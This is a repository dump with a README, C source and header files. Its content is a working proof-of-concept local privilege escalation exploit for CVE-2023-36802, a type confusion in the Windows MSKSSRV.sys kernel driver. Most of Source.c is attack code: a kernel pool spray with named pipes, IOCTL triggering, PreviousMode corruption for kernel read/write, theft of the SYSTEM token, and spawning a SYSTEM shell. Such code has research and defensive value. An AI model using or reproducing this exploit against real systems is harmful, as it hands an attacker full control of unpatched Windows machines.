├── README.md ├── Source.c └── Types.h /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2023-36802 MSKSSRV.sys Local Privilege Escalation 2 | PoC for CVE-2023-36802 Microsoft Kernel Streaming Service Proxy which suffers from a type confusion vulnerability. 3 | 4 | This proof-of-concept is modeled after the write-up done by Benoît Sevens (@benoitsevens). The article can be found here: https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2023/CVE-2023-36802.html 5 | 6 | Original exploit and writeup done by Valentina Palmiotti (@chompie1337) 7 | https://securityintelligence.com/x-force/critically-close-to-zero-day-exploiting-microsoft-kernel-streaming-service/ 8 | 9 | NOTE: This was only tested on Windows 11 22H2 22621.1848. PreviousMode attacks may be mitigated in insider builds. 10 | 11 | ![image](https://github.com/x0rb3l/CVE-2023-36802-MSKSSRV-LPE/assets/29740744/35b7a53e-f3f6-4f3f-bd9e-27e7d9f9be71) 12 | 13 | -------------------------------------------------------------------------------- /Source.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "Types.h" 3 | 4 | #define IOCTL_FRAMESERVER_INIT_CONTEXT 0x2f0400 5 | #define IOCTL_FRAMESERVER_PUBLISH_RX 0x2f040c 6 | #define FSCTL_CODE 0x119ff8 7 | 8 | #define SPRAY_SIZE 0x10000 9 | #define PIPESPRAY_SIZE 0x80 10 | #define PAYLOAD_SIZE 0x80 11 | 12 | #define DEVICE_NAME "\\\\?\\root#system#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\\{96e080c7-143c-11d1-b40f-00a0c9223196}&{3c0d501a-140b-11d1-b40f-00a0c9223196}" 13 | 14 | PHANDLE phPipeHandleArray[sizeof(HANDLE) *SPRAY_SIZE]; 15 | PHANDLE phFileArray[sizeof(HANDLE) * SPRAY_SIZE]; 16 | 17 | PHANDLE phPipeHandleArray2[sizeof(HANDLE) *SPRAY_SIZE]; 18 | PHANDLE phFileArray2[sizeof(HANDLE) * SPRAY_SIZE]; 19 | 20 | HANDLE hDevice = INVALID_HANDLE_VALUE; 21 | 22 | _NtQuerySystemInformation pNtQuerySystemInformation; 23 | _NtFsControlFile pNtFsControlFile; 24 | _NtWriteVirtualMemory pNtWriteVirtualMemory; 25 | _NtReadVirtualMemory pNtReadVirtualMemory; 26 | 27 | PVOID KTHREAD = NULL; 28 | PVOID EPROCESS = NULL; 29 | PVOID SYSTEM_EPROCESS = NULL; 30 | PVOID FILE_OBEJCT = NULL; 31 | 32 | void ResolveNtFunctions() { 33 | pNtFsControlFile = (_NtFsControlFile)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtFsControlFile"); 34 | 35 | if (!pNtFsControlFile) 36 | { 37 | printf("[!] Error while resolving NtFsControlFile: %d\n", GetLastError()); 38 | exit(1); 39 | } 40 | 41 | pNtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation"); 42 | 43 | if (!pNtQuerySystemInformation) 44 | { 45 | printf("[!] Error while resolving NtQuerySystemInformation: %d\n", GetLastError()); 46 | exit(1); 47 | } 48 | 49 | pNtWriteVirtualMemory = (_NtWriteVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtWriteVirtualMemory"); 50 | 51 | if (!pNtWriteVirtualMemory) 52 | { 53 | printf("[!] Error while resolving NtWriteVirtualMemory: %d\n", GetLastError()); 54 | exit(1); 55 | } 56 | 57 | pNtReadVirtualMemory = (_NtReadVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtReadVirtualMemory"); 58 | 59 | if (!pNtReadVirtualMemory) 60 | { 61 | printf("[!] Error while resolving NtReadVirtualMemory: %d\n", GetLastError()); 62 | exit(1); 63 | } 64 | } 65 | 66 | PVOID GetkThread() 67 | { 68 | NTSTATUS nt_status; 69 | HANDLE hThread = OpenThread(THREAD_QUERY_INFORMATION, FALSE, GetCurrentThreadId()); 70 | if (!hThread) 71 | { 72 | printf("[!] Error while getting the thread ID: %d\n", GetLastError()); 73 | exit(1); 74 | } 75 | 76 | ULONG system_handle_info_size = 4096; 77 | PSYSTEM_HANDLE_INFORMATION system_handle_info = (PSYSTEM_HANDLE_INFORMATION)malloc(system_handle_info_size); 78 | memset(system_handle_info, 0x00, sizeof(SYSTEM_HANDLE_INFORMATION)); 79 | 80 | while ((nt_status = pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, system_handle_info, system_handle_info_size, NULL)) == STATUS_INFO_LENGTH_MISMATCH) 81 | { 82 | system_handle_info = (PSYSTEM_HANDLE_INFORMATION)realloc(system_handle_info, system_handle_info_size *= 10); 83 | if (system_handle_info == NULL) 84 | { 85 | printf("[!] Error while allocating memory for NtQuerySystemInformation: %d\n", GetLastError()); 86 | exit(1); 87 | } 88 | } 89 | if (nt_status != 0x0) 90 | { 91 | printf("[!] Error while calling NtQuerySystemInformation to obtain the SystemHandleInformation.\n"); 92 | exit(1); 93 | } 94 | 95 | int z = 0; 96 | for (unsigned int i = 0; i < system_handle_info->NumberOfHandles; i++) 97 | { 98 | if ((HANDLE)system_handle_info->Handles[i].HandleValue == hThread) 99 | { 100 | if (system_handle_info->Handles[i].ObjectTypeIndex == ObjectThreadType) 101 | { 102 | z++; 103 | } 104 | } 105 | } 106 | 107 | int array_size = z - 1; 108 | PVOID* kThread_array = (PVOID*)malloc(array_size * sizeof(PVOID)); 109 | z = 0; 110 | for (unsigned int i = 0; i < system_handle_info->NumberOfHandles; i++) 111 | { 112 | if ((HANDLE)system_handle_info->Handles[i].HandleValue == hThread) 113 | { 114 | if (system_handle_info->Handles[i].ObjectTypeIndex == ObjectThreadType) 115 | { 116 | kThread_array[z] = system_handle_info->Handles[i].Object; 117 | z++; 118 | } 119 | } 120 | } 121 | 122 | printf("[+] KTHREAD address: %p\n", kThread_array[array_size]); 123 | return kThread_array[array_size]; 124 | 125 | } 126 | 127 | PVOID GetFILE_OBJECT() 128 | { 129 | NTSTATUS nt_status; 130 | HANDLE hThread = OpenThread(THREAD_QUERY_INFORMATION, FALSE, GetCurrentThreadId()); 131 | if (!hThread) 132 | { 133 | printf("[!] Error while getting the thread ID: %d\n", GetLastError()); 134 | exit(1); 135 | } 136 | 137 | ULONG system_handle_info_size = 4096; 138 | PSYSTEM_HANDLE_INFORMATION_EX system_handle_info = (PSYSTEM_HANDLE_INFORMATION_EX)malloc(system_handle_info_size); 139 | memset(system_handle_info, 0x00, sizeof(SYSTEM_HANDLE_INFORMATION)); 140 | 141 | while ((nt_status = pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemExtendedHandleInformation, system_handle_info, system_handle_info_size, NULL)) == STATUS_INFO_LENGTH_MISMATCH) 142 | { 143 | system_handle_info = (PSYSTEM_HANDLE_INFORMATION)realloc(system_handle_info, system_handle_info_size *= 10); 144 | if (system_handle_info == NULL) 145 | { 146 | printf("[!] Error while allocating memory for NtQuerySystemInformation: %d\n", GetLastError()); 147 | exit(1); 148 | } 149 | } 150 | if (nt_status != 0x0) 151 | { 152 | printf("[!] Error while calling NtQuerySystemInformation to obtain the SystemExtendedHandleInformation.\n"); 153 | exit(1); 154 | } 155 | 156 | // Iterate through the handles untill we find the handle equal to hDevice 157 | for (unsigned int i = 0; i < system_handle_info->HandleCount; i++) 158 | { 159 | if ((HANDLE)system_handle_info->Handles[i].HandleValue == hDevice) 160 | { 161 | return system_handle_info->Handles[i].Object; 162 | } 163 | } 164 | 165 | } 166 | 167 | void PipeSpray(void* payload, int size) { 168 | 169 | IO_STATUS_BLOCK isb; 170 | OVERLAPPED ol; 171 | 172 | for (int i = 0; i < SPRAY_SIZE; i++) { 173 | phPipeHandleArray[i] = CreateNamedPipe(L"\\\\.\\pipe\\testpipe", PIPE_ACCESS_OUTBOUND | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, size, size, 0, 0); 174 | 175 | if (phPipeHandleArray[i] == INVALID_HANDLE_VALUE) { 176 | printf("[!] Error while creating the named pipe: %d\n", GetLastError()); 177 | exit(1); 178 | } 179 | 180 | memset(&ol, 0, sizeof(ol)); 181 | ol.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); 182 | if (!ol.hEvent) { 183 | printf("[!] Error creating event: %d\n", GetLastError()); 184 | exit(1); 185 | } 186 | 187 | phFileArray[i] = CreateFile(L"\\\\.\\pipe\\testpipe", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, 0); 188 | 189 | if (phFileArray[i] == INVALID_HANDLE_VALUE) { 190 | printf("[!] Error while opening the named pipe: %d\n", GetLastError()); 191 | exit(1); 192 | } 193 | 194 | NTSTATUS ret = pNtFsControlFile(phPipeHandleArray[i], 0, 0, 0, &isb, FSCTL_CODE, payload, size, NULL, 0); 195 | 196 | // Print the return value of NtFsControlFile 197 | //printf("[+] NtFsControlFile return value: %p\n", ret); 198 | 199 | if (ret == STATUS_PENDING) { 200 | DWORD bytesTransferred; 201 | if (!GetOverlappedResult(phFileArray[i], &ol, &bytesTransferred, TRUE)) { 202 | printf("[!] Overlapped operation failed: %d\n", GetLastError()); 203 | exit(1); 204 | } 205 | } 206 | else if (ret != 0) { 207 | printf("[!] Error while calling NtFsControlFile: %p\n", ret); 208 | exit(1); 209 | } 210 | 211 | CloseHandle(ol.hEvent); 212 | } 213 | 214 | } 215 | 216 | void CreateHoles() { 217 | for (int i = 0; i < SPRAY_SIZE; i += 4) 218 | { 219 | CloseHandle(phPipeHandleArray[i]); 220 | CloseHandle(phFileArray[i]); 221 | } 222 | } 223 | 224 | void AllocateContext() { 225 | 226 | MY_IRP inbuff = { 0 }; 227 | 228 | inbuff.CurrentProcId = (PVOID)GetCurrentProcessId(); 229 | inbuff.Type = 1; 230 | inbuff.Flags = 0x000000136FE7474D; 231 | inbuff.val20 = 0x4141414141414141; 232 | 233 | hDevice = CreateFileA("\\\\?\\root#system#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\\{96e080c7-143c-11d1-b40f-00a0c9223196}&{3c0d501a-140b-11d1-b40f-00a0c9223196}", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_NEW, 0, NULL); 234 | 235 | DeviceIoControl(hDevice, IOCTL_FRAMESERVER_INIT_CONTEXT, &inbuff, sizeof(MY_IRP), NULL, 0, NULL, NULL); 236 | } 237 | 238 | void FillHoles(void* payload, int size) 239 | { 240 | IO_STATUS_BLOCK isb; 241 | OVERLAPPED ol; 242 | 243 | for (int i = 0; i < SPRAY_SIZE; i++) { 244 | phPipeHandleArray2[i] = CreateNamedPipe(L"\\\\.\\pipe\\testpipe", PIPE_ACCESS_OUTBOUND | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, size, size, 0, 0); 245 | 246 | if (phPipeHandleArray[i] == INVALID_HANDLE_VALUE) { 247 | printf("[!] Error while creating the named pipe: %d\n", GetLastError()); 248 | exit(1); 249 | } 250 | 251 | memset(&ol, 0, sizeof(ol)); 252 | ol.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); 253 | if (!ol.hEvent) { 254 | printf("[!] Error creating event: %d\n", GetLastError()); 255 | exit(1); 256 | } 257 | 258 | phFileArray2[i] = CreateFile(L"\\\\.\\pipe\\testpipe", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, 0); 259 | 260 | if (phFileArray2[i] == INVALID_HANDLE_VALUE) { 261 | printf("[!] Error while opening the named pipe: %d\n", GetLastError()); 262 | exit(1); 263 | } 264 | 265 | NTSTATUS ret = pNtFsControlFile(phPipeHandleArray2[i], 0, 0, 0, &isb, FSCTL_CODE, payload, size, NULL, 0); 266 | 267 | if (ret == STATUS_PENDING) { 268 | DWORD bytesTransferred; 269 | if (!GetOverlappedResult(phFileArray[i], &ol, &bytesTransferred, TRUE)) { 270 | printf("[!] Overlapped operation failed: %d\n", GetLastError()); 271 | exit(1); 272 | } 273 | } 274 | else if (ret != 0) { 275 | printf("[!] Error while calling NtFsControlFile: %p\n", ret); 276 | exit(1); 277 | } 278 | 279 | CloseHandle(ol.hEvent); 280 | 281 | } 282 | 283 | } 284 | 285 | void triggerExploit() { 286 | 287 | 288 | MY_IRP inbuff = { 0 }; 289 | 290 | inbuff.CurrentProcId = (PVOID)GetCurrentProcessId(); 291 | inbuff.Type = 1; 292 | inbuff.Flags = 0x000000136FE7474D; 293 | inbuff.val20 = 0x0000000100000001; 294 | 295 | DWORD bytesReturned; 296 | DeviceIoControl(hDevice, IOCTL_FRAMESERVER_PUBLISH_RX, &inbuff, 0x100, NULL, 0, &bytesReturned, NULL); 297 | 298 | } 299 | 300 | void CleanUp() { 301 | for (int i = 0; i < SPRAY_SIZE; i++) 302 | { 303 | CloseHandle(phPipeHandleArray[i]); 304 | CloseHandle(phFileArray[i]); 305 | } 306 | 307 | for (int i = 0; i < SPRAY_SIZE; i++) 308 | { 309 | CloseHandle(phPipeHandleArray2[i]); 310 | CloseHandle(phFileArray2[i]); 311 | } 312 | 313 | CloseHandle(hDevice); 314 | } 315 | 316 | 317 | int main() { 318 | 319 | ResolveNtFunctions(); 320 | 321 | KTHREAD = GetkThread(); 322 | EPROCESS = (ULONG64)KTHREAD +0x220; 323 | 324 | printf("[+] EPROCESS pointer is: %p\n", EPROCESS); 325 | 326 | ULONG64 PreviousMode = (ULONG64)KTHREAD + 0x232; 327 | ULONG64 pmode = PreviousMode+0x30; 328 | 329 | printf("[+] PreviousMode pointer: %p\n", PreviousMode); 330 | 331 | PULONGLONG buf = VirtualAlloc((LPVOID)0x00000001a0000000, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 332 | 333 | if (!buf) 334 | { 335 | printf("[!] Error while allocating memory for the user buffer: %d\n", GetLastError()); 336 | exit(1); 337 | } 338 | 339 | memset((LPVOID)buf, 0x0, 0x1000); 340 | 341 | buf[0] = 0x00000001a0000000; // Linked list pointer 342 | buf[11] = 0x00000001a0000000; 343 | buf[26] = 0x0000000000000001; // Bypass rbx check in FSStreamReg::PublishRx 344 | 345 | void *spray_payload = malloc(PAYLOAD_SIZE); 346 | 347 | // Place previous mode address+0x30 at offset 0x18 348 | memcpy((PVOID*)((ULONG64)spray_payload+0x18), &pmode, 0x8); // Offset 0x1c8 of object 349 | 350 | // Reference user-mode buf as linked list 351 | memcpy((PVOID*)((ULONG64)spray_payload+0x20), &buf, 0x8); // Offset 0x140 of object 352 | memcpy((PVOID*)((ULONG64)spray_payload+0x68), &buf, 0x8); // Offset 0x188 of object 353 | memcpy((PVOID*)((ULONG64)spray_payload+0x78), &buf, 0x8); // Offset 0x198 of object 354 | 355 | 356 | // Spray the pool with named pipes 357 | printf("[+] Spraying the pool with pipes...\n"); 358 | PipeSpray(spray_payload, PIPESPRAY_SIZE); 359 | 360 | // Create holes in the pool 361 | printf("[+] Creating holes in the pool...\n"); 362 | CreateHoles(); 363 | 364 | // Allocate context registration 365 | printf("[+] Allocating context registration...\n"); 366 | AllocateContext(); 367 | 368 | // Fill holes with our payload 369 | printf("[+] Re-filling holes...\n"); 370 | FillHoles(spray_payload, PIPESPRAY_SIZE); 371 | 372 | // Locate our FILE_OBJECT 373 | printf("[+] Locating our FILE_OBJECT...\n"); 374 | FILE_OBEJCT = GetFILE_OBJECT(); 375 | printf("[+] FILE_OBJECT address: %p\n", FILE_OBEJCT); 376 | 377 | // Execute trigger function in a separate thread 378 | printf("[+] Executing trigger function in a separate thread...\n"); 379 | CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)triggerExploit, NULL, 0, NULL); 380 | 381 | Sleep(2000); 382 | 383 | // Locate EPROCESS of System and overwrite our token with the System token 384 | LPVOID read_qword = malloc(sizeof(ULONGLONG)); 385 | SIZE_T read_bytes; 386 | memset(read_qword, 0x00, sizeof(ULONGLONG)); 387 | 388 | if (!ReadProcessMemory(GetCurrentProcess(), (LPVOID)((ULONGLONG)EPROCESS), read_qword, sizeof(ULONGLONG), &read_bytes)) 389 | { 390 | printf("[!] Error while calling ReadProcessMemory(): %d\n", GetLastError()); 391 | } 392 | 393 | PLONGLONG eprocess = (PULONGLONG)((ULONG_PTR*)read_qword); 394 | 395 | ULONGLONG ourEprocess = (ULONGLONG)*eprocess; 396 | printf("[+] Our EPROCESS: 0x%llx\n", *eprocess); 397 | 398 | ULONGLONG nEprocess = *eprocess; 399 | 400 | printf("[+] Looking for system PID\n"); 401 | while (TRUE) 402 | { 403 | nEprocess = nEprocess + 0x448; 404 | memset(read_qword, 0x00, sizeof(ULONGLONG)); 405 | if (!ReadProcessMemory(GetCurrentProcess(), (LPVOID)((ULONGLONG)nEprocess), read_qword, sizeof(ULONGLONG), &read_bytes)) 406 | { 407 | printf("[!] Error while calling ReadProcessMemory(): %d\n", GetLastError()); 408 | } 409 | PULONGLONG nEprocessPtr = (PULONGLONG)((ULONG_PTR*)read_qword); 410 | ULONGLONG nEprocessPtrValue = (ULONGLONG)*nEprocessPtr - 0x448; 411 | //printf("[+] Found next EPROCESS: 0x%llx\n", nEprocessPtrValue); 412 | 413 | ULONGLONG UniqueProcessIdAddr = nEprocessPtrValue + 0x440; 414 | //printf("[+] Found next UniqueProcessId address: 0x%llx\n", UniqueProcessIdAddr); 415 | 416 | memset(read_qword, 0x00, sizeof(ULONGLONG)); 417 | if (!ReadProcessMemory(GetCurrentProcess(), (LPVOID)((ULONGLONG)UniqueProcessIdAddr), read_qword, sizeof(ULONGLONG), &read_bytes)) 418 | { 419 | printf("[!] Error while calling ReadProcessMemory(): %d\n", GetLastError()); 420 | } 421 | 422 | PULONGLONG UniqueProcessId = (PULONGLONG)((ULONG_PTR*)read_qword); 423 | //printf("[+] Found next UniqueProcessId: 0x%llx\n", *UniqueProcessId); 424 | 425 | 426 | nEprocess = nEprocessPtrValue; 427 | 428 | if (*UniqueProcessId == 0x0000000000000004) 429 | { 430 | printf("[!] System EPROCESS found at: %llx\n", nEprocess); 431 | break; 432 | } 433 | 434 | } 435 | 436 | // Overwrite our Token with the System token 437 | printf("[+] Overwritting our token...\n"); 438 | ULONGLONG sysToken = nEprocess + 0x4b8; 439 | ULONGLONG eprocessToken = ourEprocess + 0x4b8; 440 | 441 | memset(read_qword, 0x00, sizeof(ULONGLONG)); 442 | if (!ReadProcessMemory(GetCurrentProcess(), (LPVOID)((ULONGLONG)sysToken), read_qword, sizeof(ULONGLONG), &read_bytes)) 443 | { 444 | printf("[!] Error while calling ReadProcessMemory(): %d\n", GetLastError()); 445 | } 446 | 447 | PULONGLONG systemToken = (PULONGLONG)((ULONG_PTR*)read_qword); 448 | pNtWriteVirtualMemory = (_NtWriteVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtWriteVirtualMemory"); 449 | pNtWriteVirtualMemory(GetCurrentProcess(), (LPVOID)eprocessToken, systemToken, sizeof(ULONGLONG), NULL); 450 | 451 | // Read offset 0x20 of FILE_OBJECT to get Context registration pointer 452 | if (!ReadProcessMemory(GetCurrentProcess(), (LPVOID)((ULONGLONG)FILE_OBEJCT + 0x20), read_qword, sizeof(ULONGLONG), &read_bytes)) 453 | { 454 | printf("[!] Error while calling ReadProcessMemory(): %d\n", GetLastError()); 455 | } 456 | 457 | PULONGLONG pFILE_OBJECT = (PULONGLONG)((ULONG_PTR*)read_qword); 458 | ULONGLONG pCreg = (ULONGLONG)*pFILE_OBJECT; 459 | 460 | printf("[+] pCreg address: %p\n", pCreg); 461 | 462 | PLONGLONG pProcessBilled = pCreg + 0x1a8; 463 | 464 | // Read process billed value 465 | memset(read_qword, 0x00, sizeof(ULONGLONG)); 466 | if (!ReadProcessMemory(GetCurrentProcess(), (LPVOID)((ULONGLONG)pProcessBilled), read_qword, sizeof(ULONGLONG), &read_bytes)) 467 | { 468 | printf("[!] Error while calling ReadProcessMemory(): %d\n", GetLastError()); 469 | } 470 | 471 | PULONGLONG pProcessBilledValue = (PULONGLONG)((ULONG_PTR*)read_qword); 472 | ULONGLONG ProcessBilledValue = (ULONGLONG)*pProcessBilledValue; 473 | 474 | // Overwrite process billed value with NULL 475 | printf("[+] Overwritting process billed value...\n"); 476 | ULONGLONG nullQWORD = (ULONGLONG)0x0000000000000000; 477 | pNtWriteVirtualMemory(GetCurrentProcess(), (LPVOID)((ULONGLONG)pProcessBilled), &nullQWORD, sizeof(ULONGLONG), NULL); 478 | 479 | Sleep(1000); 480 | 481 | // Break out of the trigger thread 482 | buf[0] = 0x0000000000000000; 483 | 484 | Sleep(2000); 485 | 486 | // Restore process billed value 487 | printf("[+] Restoring process billed value...\n"); 488 | pNtWriteVirtualMemory(GetCurrentProcess(), (LPVOID)((ULONGLONG)pProcessBilled), &ProcessBilledValue, sizeof(ULONGLONG), NULL); 489 | 490 | Sleep(2000); 491 | 492 | // Increment Ref count of SYSTEM EPROCESS token 493 | printf("[+] Incrementing ref count of EPROCESS token...\n"); 494 | ULONGLONG refCount = ourEprocess-0x30; 495 | ULONGLONG refCountValue = (ULONGLONG)0x4141414141414141; 496 | pNtWriteVirtualMemory(GetCurrentProcess(), (LPVOID)((ULONGLONG)refCount), &refCountValue, sizeof(ULONGLONG), NULL); 497 | 498 | Sleep(2000); 499 | 500 | // Restore PreviousMode 501 | printf("[+] Restoring PreviousMode...\n"); 502 | memset(read_qword, 0x00, sizeof(ULONGLONG)); 503 | if (!ReadProcessMemory(GetCurrentProcess(), (LPVOID)((ULONGLONG)PreviousMode), read_qword, sizeof(ULONGLONG), &read_bytes)) 504 | { 505 | printf("[!] Error while calling ReadProcessMemory(): %d\n", GetLastError()); 506 | } 507 | PULONGLONG kThreadPM = (PULONGLONG)((ULONG_PTR*)read_qword); 508 | ULONGLONG write_what = (ULONGLONG)*kThreadPM ^ 1 << 0; 509 | pNtWriteVirtualMemory(GetCurrentProcess(), (LPVOID)((ULONGLONG)PreviousMode), &write_what, sizeof(ULONGLONG), NULL); 510 | 511 | // Spawn a shell 512 | Sleep(500); 513 | system("start cmd.exe"); 514 | printf("[+] Check for SYSTEM shell!...\n"); 515 | 516 | Sleep(1000); 517 | 518 | printf("[+] Cleaning up...\n"); 519 | CleanUp(); 520 | printf("[+] Done!\n"); 521 | 522 | Sleep(1000); 523 | return 0; 524 | } 525 | -------------------------------------------------------------------------------- /Types.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #pragma comment (lib,"psapi") 4 | 5 | #define STATUS_INFO_LENGTH_MISMATCH 0xc0000004 6 | #define ObjectThreadType 0x08 7 | 8 | typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO 9 | { 10 | USHORT UniqueProcessId; 11 | USHORT CreatorBackTraceIndex; 12 | UCHAR ObjectTypeIndex; 13 | UCHAR HandleAttributes; 14 | USHORT HandleValue; 15 | PVOID Object; 16 | ULONG GrantedAccess; 17 | } SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO; 18 | 19 | typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX 20 | { 21 | PVOID Object; 22 | HANDLE UniqueProcessId; 23 | HANDLE HandleValue; 24 | ULONG GrantedAccess; 25 | USHORT CreatorBackTraceIndex; 26 | USHORT ObjectTypeIndex; 27 | ULONG HandleAttributes; 28 | ULONG Reserved; 29 | } SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX; 30 | 31 | typedef struct _SYSTEM_HANDLE_INFORMATION 32 | { 33 | ULONG NumberOfHandles; 34 | SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; 35 | } SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION; 36 | 37 | typedef struct _SYSTEM_HANDLE_INFORMATION_EX 38 | { 39 | ULONG_PTR HandleCount; 40 | ULONG_PTR Reserved; 41 | SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1]; 42 | } SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX; 43 | 44 | typedef enum _SYSTEM_INFORMATION_CLASS { 45 | SystemHandleInformation = 16, 46 | SystemExtendedHandleInformation = 0x40, 47 | SystemBigPoolInformation = 0x42, 48 | SystemNonPagedPoolInformation = 0x0f 49 | } SYSTEM_INFORMATION_CLASS; 50 | 51 | typedef NTSTATUS(WINAPI* _NtQuerySystemInformation)( 52 | SYSTEM_INFORMATION_CLASS SystemInformationClass, 53 | PVOID SystemInformation, 54 | ULONG SystemInformationLength, 55 | PULONG ReturnLength 56 | ); 57 | 58 | typedef NTSTATUS(WINAPI* _NtWriteVirtualMemory)( 59 | _In_ HANDLE ProcessHandle, 60 | _In_ PVOID BaseAddress, 61 | _In_ PVOID Buffer, 62 | _In_ ULONG NumberOfBytesToWrite, 63 | _Out_opt_ PULONG NumberOfBytesWritten 64 | ); 65 | 66 | typedef struct _IO_STATUS_BLOCK { 67 | union { 68 | NTSTATUS Status; 69 | PVOID Pointer; 70 | }; 71 | ULONG_PTR Information; 72 | } IO_STATUS_BLOCK, * PIO_STATUS_BLOCK; 73 | 74 | typedef VOID(NTAPI* PIO_APC_ROUTINE)(_In_ PVOID ApcContext, _In_ PIO_STATUS_BLOCK IoStatusBlock, _In_ ULONG Reserved); 75 | 76 | typedef NTSTATUS(WINAPI* _NtFsControlFile)( 77 | HANDLE FileHandle, 78 | HANDLE Event, 79 | PIO_APC_ROUTINE ApcRoutine, 80 | PVOID ApcContext, 81 | PIO_STATUS_BLOCK IoStatusBlock, 82 | ULONG FsControlCode, 83 | PVOID InputBuffer, 84 | ULONG InputBufferLength, 85 | PVOID OutputBuffer, 86 | ULONG OutputBufferLength 87 | ); 88 | 89 | typedef struct _SYSTEM_BIGPOOL_ENTRY 90 | { 91 | union { 92 | PVOID VirtualAddress; 93 | ULONG_PTR NonPaged : 1; 94 | }; 95 | ULONG_PTR SizeInBytes; 96 | union { 97 | UCHAR Tag[4]; 98 | ULONG TagUlong; 99 | }; 100 | } SYSTEM_BIGPOOL_ENTRY, * PSYSTEM_BIGPOOL_ENTRY; 101 | 102 | 103 | typedef struct _SYSTEM_BIGPOOL_INFORMATION { 104 | ULONG Count; 105 | SYSTEM_BIGPOOL_ENTRY AllocatedInfo[ANYSIZE_ARRAY]; 106 | } SYSTEM_BIGPOOL_INFORMATION, * PSYSTEM_BIGPOOL_INFORMATION; 107 | 108 | typedef struct _MY_IRP 109 | { 110 | uint64_t Type; 111 | PVOID CurrentProcId; 112 | uint64_t Flags; 113 | HANDLE hEvent; 114 | uint64_t val20; 115 | uint64_t val24; 116 | uint64_t val28; 117 | uint64_t val30; 118 | uint64_t val38; 119 | uint64_t val40; 120 | uint64_t val48; 121 | uint64_t val50; 122 | uint64_t val58; 123 | uint64_t val60; 124 | uint64_t val68; 125 | uint64_t val70; 126 | uint64_t val78; 127 | uint64_t val80; 128 | uint64_t val88; 129 | uint64_t val90; 130 | uint64_t val98; 131 | uint64_t valA0; 132 | uint64_t valA8; 133 | uint64_t valB0; 134 | } MY_IRP; 135 | 136 | typedef NTSTATUS(WINAPI* _NtWriteVirtualMemory)( 137 | _In_ HANDLE ProcessHandle, 138 | _In_ PVOID BaseAddress, 139 | _In_ PVOID Buffer, 140 | _In_ ULONG NumberOfBytesToWrite, 141 | _Out_opt_ PULONG NumberOfBytesWritten 142 | ); 143 | 144 | typedef NTSTATUS(WINAPI* _NtReadVirtualMemory)( 145 | _In_ HANDLE ProcessHandle, 146 | _In_ PVOID BaseAddress, 147 | _Out_ PVOID Buffer, 148 | _In_ ULONG NumberOfBytesToRead, 149 | _Out_opt_ PULONG NumberOfBytesRead 150 | ); --------------------------------------------------------------------------------